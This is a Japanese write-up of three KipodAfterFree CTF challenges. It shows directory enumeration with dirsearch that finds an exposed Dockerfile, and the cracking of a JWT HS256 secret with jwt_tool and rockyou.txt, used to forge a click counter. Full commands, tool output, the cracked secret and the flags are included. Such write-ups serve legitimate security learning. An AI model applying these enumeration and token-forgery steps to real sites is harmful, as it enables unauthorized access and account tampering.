KipodAfterFree CTF - Writeup
平日に開催されたKipodAfterFree CTF に個人で参加した。 3問だけ解けたのでWriteupを記載する。
Not A Flag (misc)
Description
Join our discord server!
Writeup
指定されたdiscordの[information]タブにflagが記載されている。
Flag : KAF{D1SC0RD_1S_9R3A7}
KipodStab (web)
Discription
The one who stabbed me will never be exposed.
Writeup
指定されたURLへアクセスするとApache(debian)のindex.html画面が表示される。
入力欄などはないのでディレクトリ一覧を確認する。
root@kali:~/dirsearch# python3 dirsearch.py -u http://ctf.kaf.sh:3040/ -e php,asp,html _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: php, asp, html | HTTP method: get | Threads: 10 | Wordlist size: 6716 Error Log: /root/dirsearch/logs/errors-19-12-24_22-40-00.log Target: http://ctf.kaf.sh:3040/ [22:40:01] Starting: [22:40:07] 403 - 199B - /.ht_wsr.txt [22:40:07] 403 - 199B - /.hta [22:40:07] 403 - 199B - /.htaccess-dev [22:40:07] 403 - 199B - /.htaccess-local [22:40:07] 403 - 199B - /.htaccess.BAK [22:40:07] 403 - 199B - /.htaccess-marco [22:40:07] 403 - 199B - /.htaccess.bak1 [22:40:07] 403 - 199B - /.htaccess.old [22:40:07] 403 - 199B - /.htaccess.orig [22:40:07] 403 - 199B - /.htaccess.sample [22:40:07] 403 - 199B - /.htaccess.save [22:40:07] 403 - 199B - /.htaccess.txt [22:40:07] 403 - 199B - /.htaccess_orig [22:40:07] 403 - 199B - /.htaccess_extra [22:40:07] 403 - 199B - /.htaccessBAK [22:40:07] 403 - 199B - /.htaccess_sc [22:40:08] 403 - 199B - /.htaccessOLD [22:40:08] 403 - 199B - /.htaccessOLD2 [22:40:08] 403 - 199B - /.htaccess~ [22:40:08] 403 - 199B - /.htgroup [22:40:08] 403 - 199B - /.htpasswd_test [22:40:08] 403 - 199B - /.htpasswd-old [22:40:08] 403 - 199B - /.htpasswds [22:40:08] 403 - 199B - /.htusers [22:41:24] 200 - 107B - /Dockerfile [22:41:39] 301 - 237B - /icons -> http://ctf.kaf.sh:3040/icons/ [22:41:42] 200 - 9KB - /index.html Task Completed
/Dockerfileディレクトリがあるようだ。
対象のディレクトリにアクセスする。
root@kali:~/dirsearch# curl http://ctf.kaf.sh:3040/Dockerfile FROM httpd:alpine WORKDIR /usr/local/apache2/htdocs/ COPY . . # Flag is KAF{dOn7_5748_doCK3R_CON741n3R2}
Flag : KAF{dOn7_5748_doCK3R_CON741n3R2}
Cookie Clicker (web)
Discription
Cookies are yummy, Can you help me rock this cookie ?
Writeup
指定されたURLへアクセスするとusernameの入力画面が表示される。
さらに進むとflagを表示するために100万回Clicksボタンを押す説明がある。
Cockieを見るとjwt形式のCookieが設定されている。
jwt.ioでCookieを確認するとHS256アルゴリズムを用いたjwtであり、username(ユーザ名)とclickCounter(クリック回数)、iat(JWT を発行した時刻)、exp(JWT の有効期限)の値が設定されている。 HS256アルゴリズムが用いられた場合、jwtの書き換えには署名検証用のsecretコードが別途必要になる。
ここで問題文の記載をみるとrock(you.txt)を使うようにヒントがある。 そのためsecretコードをrockyou.txtで確認する。
root@kali:~# ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyIsImNsaWNrQ291bnRlciI6NSwiaWF0IjoxNTc3MTExMTk5LCJleHAiOjE1NzcxMTEyMjl9.YuSK2m5uTGymn0WFmVTkV4FzFjDuJG4hCaTELhV7TBE $$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$\ \__$$ |$$ | $\ $$ |\__$$ __| \__$$ __| $$ | $$ |$$ |$$$\ $$ | $$ | $$ | $$$$$$\ $$$$$$\ $$ | $$ |$$ $$ $$\$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ | $$\ $$ |$$$$ _$$$$ | $$ | $$ |$$ / $$ |$$ / $$ |$$ | $$ | $$ |$$$ / \$$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | \$$$$$$ |$$ / \$$ | $$ | $$ |\$$$$$$ |\$$$$$$ |$$ | \______/ \__/ \__| \__|$$$$$$\__| \______/ \______/ \__| Version 1.3 \______| ===================== Decoded Token Values: ===================== Token header values: [+] alg = HS256 [+] typ = JWT Token payload values: [+] username = 123 [+] clickCounter = 5 [+] iat = 1577111199 ==> TIMESTAMP = 2019-12-23 23:26:39 (UTC) [+] exp = 1577111229 ==> TIMESTAMP = 2019-12-23 23:27:09 (UTC) Seen timestamps: [*] iat was seen [+] exp is later than iat by: 0 days, 0 hours, 0 mins [-] TOKEN IS EXPIRED! ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ---------------------- ######################################################## # Options: # # ==== TAMPERING ==== # # 1: Tamper with JWT data (multiple signing options) # # # # ==== VULNERABILITIES ==== # # 2: Check for the "none" algorithm vulnerability # # 3: Check for HS/RSA key confusion vulnerability # # 4: Check for JWKS key injection vulnerability # # # # ==== CRACKING/GUESSING ==== # # 5: Check HS signature against a key (password) # # 6: Check HS signature against key file # # 7: Crack signature with supplied dictionary file # # # # ==== RSA KEY FUNCTIONS ==== # # 8: Verify RSA signature against a Public Key # # # # 0: Quit # ######################################################## Please make a selection (1-6) > 7 Please provide filename for dictionary file. > ./rockyou.txt Loading key dictionary... File loaded: ./rockyou.txt Testing passwords in dictionary... [*] Tested 1 million passwords so far [+] mypinkipod is the CORRECT key!
secretコードのmypinkipod
を使ってCockieのclickCounterを100万回に更新する。
更新したCockieをセットし直したあとにclickボタンを押すとflagが表示される。